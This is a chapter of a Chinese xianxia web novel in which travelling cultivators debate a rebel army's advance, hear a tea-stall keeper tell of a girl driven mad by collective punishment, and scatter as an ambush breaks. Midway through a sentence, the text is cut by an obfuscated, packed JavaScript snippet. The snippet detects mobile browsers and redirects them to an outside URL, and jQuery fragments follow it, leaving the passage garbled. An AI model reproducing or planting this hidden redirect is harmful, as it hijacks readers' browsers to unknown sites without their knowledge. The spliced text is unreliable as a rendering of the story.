63. 南上北下

作品:《身为女主[穿书]

    没等天亮,晏灯疏就做好了新的罗盘。


    把熟睡的闻天叫了起来,几人简单收拾了下,准备上路了。


    视线在四人上转了一圈,闻天说:“那两人不和我们一起了吗?”


    “温孤明和白思远?他俩不在客栈,也联系不上。”晏灯疏瞥了眼温孤言说,“兴许自己走了吧。”


    面对晏灯疏幽怨的视线,温孤言毫无愧疚之心地回以一笑。


    闻天没多想,能离那两人远点他求之不得。


    同行那段时间,他总算明白了原来风寻月是怎么看自己的。


    摆摆手,他转身下了楼:“容我先去和刘兄告个别,他住的地方离得不远。”


    刘兄?怎么把他忘了。


    抬手一拍脑袋,苏遥夜终于想起来刘鸿和她喝酒,被喝趴在桌上了。


    那之后她又是跑巷子又是出城,完全忘了还有这么个人。


    心虚地追到楼梯口往下面一看,苏遥夜却没再远处看到刘鸿的身影。


    ?是他自己醒来回去了吗?


    还是……


    没等苏遥夜深想,风寻月拍了下她的肩说:“愣着干什么呢?你也有要道别的朋友?”


    “没有,”苏遥夜垂下眼睫,“寻月,我们应该是离完成任务最近的队伍了吧。”


    “嗯,进城后没看到其他凤梧山中人了。”风寻月道。


    偏头看向风寻月,苏遥夜问:“你觉得我们应该把宝宸鸟抓回去吗?”


    “原来你一路都在纠结这个。”风寻月想了想,说,“出于完成任务的目的,我会抓它。但我是个追求自由的人,出于这点我会放走它。”


    “那到底是放还是不放?”苏遥夜歪头。


    风寻月伸了个懒腰,笑道:“自己想,我的答案不等于你的。”


    撇了撇嘴,苏遥夜小声嘟囔:“小气。”


    连个建议都不肯给。


    天刚蒙蒙亮,城门口就有零零散散的百姓商户进出。


    四人在城门口等了片刻,刘鸿就和闻天一起过来了,且看着一点没有喝醉的样子。


    “刘兄,此去一别不知要何日才能再见。”闻天心有悲戚。


    “闻兄,天涯路远,各自珍重。”刘鸿冲闻天抱拳。


    抱臂看了会两人难舍难分的离别,苏遥夜心情有些复杂。


    这时,远处官道上走来一列规模中等的商队。


    “闻言,有缘再见。”


    两人的告别终于到了尾声,闻天转身走向四人,继续踏上追踪镇国之宝的路。


    刘鸿敛眸跟在商队后面,回了贺城。


    队尾的武夫以旁人几不可闻的声音说:“公子,都准备好了。”


    低了下头,“刘鸿”道:“小心行事。”


    “是。”


    离开贺城后,五人一路往南,也慢慢靠近了起义军领地的边境。


    这天夜里,苏遥夜远远看见了一支正在行进中的军队:“这是要打仗了吗?”


    不远处其他四人也停了下来,温孤言皱眉看了会,说:“这不是南明朝廷的军队,应该是梁王的起义军。”


    “我看看!”闻天凑了过来,骂了声说,“还真是这群乱臣贼子。”


    “他们行进的方向……”苏遥夜眉头一跳,“他们要攻打贺城?!”


    虽然她不久前才和人讨论过打仗的事,但未曾想到这一天来得居然这么快。


    “不行,我要去阻止他们!”闻天急躁地要冲上去,却被晏灯疏强硬地拦下。


    “你给我安分点!”晏灯疏冷下脸,甩出一道禁锢咒,“阻止?你以什么身份去阻止他们?凤梧山弟子还是奸相的儿子?”


    仙门世家各自入世程度不一而足,但彼此间都有一个共识——


    不可参与国家政治。


    被戳到痛脚的闻天怒道:“我爹才不是奸相!他只是、只是……”


    “只是被权势蒙蔽了双眼?”温孤言掀唇,凉薄地笑了声,“作为现在南明权势最大的人,真无辜,真可怜。”


    闻天被堵的哑口无言。


    他知道了南明的现状和他父亲脱不开关系,他知道了那些百姓因他父亲的政策食不饱腹,他知道了自己父亲或许就是杀害先皇的人,他的父亲才是真正的乱臣贼子……


    可是那是他父亲啊。


    远处的军队仍在向前行进,隆隆的马蹄声成了几人争吵的背景。


    “……可是,贺城里的人呢?他们还没来及跑啊。”闻天渐渐声音低了下来,“刘兄是我的结义兄弟,于情于理,我至少都应该通知他一声。”


    “你能保证不掺和贺城与起义军间的事,我就放开你。”晏灯疏道,“而且我们不会等你,你回去了就视同放弃任务。”


    稍加思索,闻天就选择了放弃任务:“我可以发心魔誓。”


    “行。”晏灯疏果真放开了闻天,待他发过心魔誓,又在他身上补了道禁制,“有些事,天命所至,人力是改变不了的。”


    这话也不知闻天听没听进去,反正晏灯疏一撒手他人就飞了。


    无声却叹了口气,晏灯疏带着剩下三人继续往南。


    苏遥夜回头看了眼夜色下远去的军队,心情复杂。


    其实闻天和杜章很像,他本性不坏,他会同情朝不保夕的灾民,他会主动反思……可那没有用。


    闻相不会因为这个儿子变成一个贤相,闻天也不会因为那些非亲非故的人去弑父。


    知道错处是一回事,改不改,能不能改,愿不愿意改是另一回事。


    收回视线,苏遥夜跟上了其他人的速度。


    自贺城出来,遇到的跟踪和袭击愈发多了起来,其中甚至还有魔修。


    “这么长时间了,镇国之宝丢失的消息估计已经传遍整个南明了。”烈日高悬,四人坐在路边的凉茶摊上休息,晏灯疏拿扇子敲了敲自己酸痛的肩膀。


    半个时辰前他们又应付完一波袭击,加上日夜兼程地追踪赶路,灵力消耗都有些大。


    “那两只鸟也太能跑了,三天了一根毛都没看到。”温孤言象征性地往嘴里丢了颗回气丹。


    “就算被镇压了千年,受了重伤,那也是仙鸟。”晏灯疏道,“真要那么容易抓住,就对不起仙鸟这个名头了。”


    “风澈,你在看什么?”风寻月发现苏遥夜的视线一直往茶摊后面瞟。


    “灶台后面


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976656|193529||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    好像有个姑娘,”苏遥夜道,“举止怪怪的。


    侧首瞥了眼,风寻月举着茶杯说:“看着神志不太正常的样子。”


    摊主夫妇在灶前忙碌着,时不时抬头同那姑娘说上一句话。他们的话里夹着方言,苏遥夜听不懂。


    而那位姑娘抱着膝盖坐在地上,不倒翁一样左右摇晃身体,痴痴地笑着。


    “绿豆汤来了,几位慢用。”


    苏遥夜叫住了要走的摊主,询问他那位姑娘的情况。


    “仙君是说小萍儿啊,”左右也没其他客人,摊主干脆就坐边上的凳子上和他们聊了起来,“这姑娘不是我的女儿,是我邻居的。”


    “她爹是镇子上的铁匠,因为一个远房亲戚包庇逃犯被连坐了。她受到牵连,遭了一段时间的牢狱之灾,后来她娘倾家荡产赎了她出来,人却疯了。为了给她治病,她娘去绣坊没日没夜地给人打工,白天顾不上她,只能拖我们暂为照看。”


    “都是出了五服的亲戚,还是遭了殃。听说那几天刑场的血把台子都泡透了。”


    听完,苏遥夜没忍住多看了小萍儿两眼,莫约十四五岁的样子,正是最好的年纪。


    摊主拍了下膝盖,叹息道:“其实这事也怨不得那个亲戚,帮人那会他娘病重,又请不到大夫,刚好那人会医术便将人留下了,哪能料到那人后来会造反呢?”


    “造反?”苏遥夜眉头一跳。


    “是啊,她叔叔包庇的那人就是如今造反的越王。”摊主压低了声音,“听说那越王本是太医院院首之子,受他父亲连累被判了刺字流放。后来因为海啸的事,乱成一团,他就趁机跑了,联合几地的灾民还有底层士兵造反了。”


    没想到还有这层因果在里面,苏遥夜点点头,若有所思。


    而且那位越王……刺字流放,医术,太医院院首之子,这几点让她不禁联想到另一个人——刘鸿。


    “老伯,你可知道那位越王的名讳?”苏遥夜问。


    “好像是叫江声。”


    他们两个是不是同一个人,只能以后再想办法确认了。


    暂且将此事记下,苏遥夜将绿豆汤一饮而尽。


    四人行至一片山谷,刚到峡谷出口,晏灯疏突然停步。


    “怎么?”风寻月问。


    “突然想起件事,”晏灯疏转向温孤言,从储物戒里取出张团成球状的网,“我们离镇国之宝已经不远了,这个法宝叫天罗地网,用来捕捉它,事半功倍。谨渊,交给你了。”


    温孤言撩起眼皮,定定地看了晏灯疏一会,接了过来:“行吧,你当心。”


    他另一只手接着身形掩护,朝苏遥夜做了个手势,意思是——


    呆在原地,别乱动。


    “知道了。”晏灯疏笑了下,突然一掌拍出!


    与他对了一掌,温孤言抓住苏遥夜的手腕借势向后暴退。


    与此同时,峡谷出口处,五颜六色的灵力光芒爆开,像一场灿烂至极的烟花。风寻月与晏灯疏避开四面而来的攻击,拦在众人面前。


    “!”苏遥夜一边调用全身灵力配合温孤言的身法,一边不住地回头望去。


    直到再也望不见那两人为止。